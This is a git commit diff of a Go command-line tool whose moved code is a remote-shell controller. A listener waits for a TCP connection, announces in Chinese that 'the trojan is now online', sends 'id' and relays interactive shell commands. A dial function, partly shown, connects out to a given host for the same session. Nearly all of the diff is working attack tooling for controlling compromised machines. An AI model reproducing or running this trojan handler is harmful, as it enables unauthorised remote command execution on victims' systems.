update readme and go.mod

This commit is contained in:
2022-08-01 11:30:11 +08:00
parent 9e2388622c
commit 5c46423e87
4 changed files with 79 additions and 74 deletions

View File

@@ -22,8 +22,6 @@ func main() {
fmt.Println(" \\____|____/ \\____\\___/|_| |_|___/\\___/|_|\\___|")
console()
//listener("tcp", 4444)
//dial("tcp", "127.0.0.1", 4444)
}
type env struct {
@@ -35,73 +33,6 @@ type env struct {
var env1 env
// listener function
func listener(port int) {
// Create a listener
var addr net.TCPAddr
addr.IP = net.IPv4(127, 0, 0, 1)
addr.Port = port
listener, err := net.ListenTCP("tcp", &addr)
if err != nil {
fmt.Println("err = ", err)
return
}
fmt.Printf("Listening on local port %d\n", port)
defer listener.Close()
//var connpool[16] net.TCPConn
//Wait for connection
conn, err := listener.AcceptTCP()
if err != nil {
fmt.Println("err = ", err)
return
}
fmt.Println("木马已经上线")
//defer conn.Close() //Close TCP connetcion
exit := make(chan string, 1)
receive := make(chan int)
sstop := make(chan string)
rstop := make(chan string)
//Get username
conn.Write([]byte("id\n"))
receiver(*conn)
fmt.Print(env1.username + " > ")
go func() {
for {
select {
case <-rstop:
return
default:
<-receive
receiver(*conn)
fmt.Print(env1.username + " > ")
}
}
}()
go func() {
for {
select {
case <-sstop:
return
default:
sender(conn, exit, receive, sstop, rstop)
}
}
}()
exitsignal := <-exit // 2. 尝试从通道中读取内容,若通道为空,则阻塞在此
sstop <- "stop sender"
rstop <- "stop receiver"
fmt.Printf("command: %v\n", exitsignal)
return
}
// 控制台函数
func console() {
@@ -202,6 +133,72 @@ func execInput(input string) error {
return cmd.Run()
}
// listener function
func listener(port int) {
// Create a listener
var addr net.TCPAddr
addr.IP = net.IPv4(127, 0, 0, 1)
addr.Port = port
listener, err := net.ListenTCP("tcp", &addr)
if err != nil {
fmt.Println("err = ", err)
return
}
fmt.Printf("Listening on local port %d\n", port)
defer listener.Close()
//var connpool[16] net.TCPConn
//Wait for connection
conn, err := listener.AcceptTCP()
if err != nil {
fmt.Println("err = ", err)
return
}
fmt.Println("木马已经上线")
//defer conn.Close() //Close TCP connetcion
exit := make(chan string, 1)
receive := make(chan int)
sstop := make(chan string)
rstop := make(chan string)
//Get username
conn.Write([]byte("id\n"))
receiver(*conn)
fmt.Print(env1.username + " > ")
go func() {
for {
select {
case <-rstop:
return
default:
<-receive
receiver(*conn)
fmt.Print(env1.username + " > ")
}
}
}()
go func() {
for {
select {
case <-sstop:
return
default:
sender(conn, exit, receive, sstop, rstop)
}
}
}()
exitsignal := <-exit // 2. 尝试从通道中读取内容,若通道为空,则阻塞在此
sstop <- "stop sender"
rstop <- "stop receiver"
fmt.Printf("command: %v\n", exitsignal)
}
func dial(host string, port int) {
//处理连接参数
var dialaddr net.TCPAddr
@@ -260,7 +257,6 @@ func dial(host string, port int) {
sstop <- "stop sender"
rstop <- "stop receiver"
fmt.Printf("command: %v\n", exitsignal)
return
}
func sender(conn *net.TCPConn, exit chan string, receive chan int, sstop chan string, rstop chan string) {
@@ -370,7 +366,6 @@ func sender(conn *net.TCPConn, exit chan string, receive chan int, sstop chan st
}
conn.Write([]byte(inp))
receive <- 1
return
}
func receiver(conn net.TCPConn) {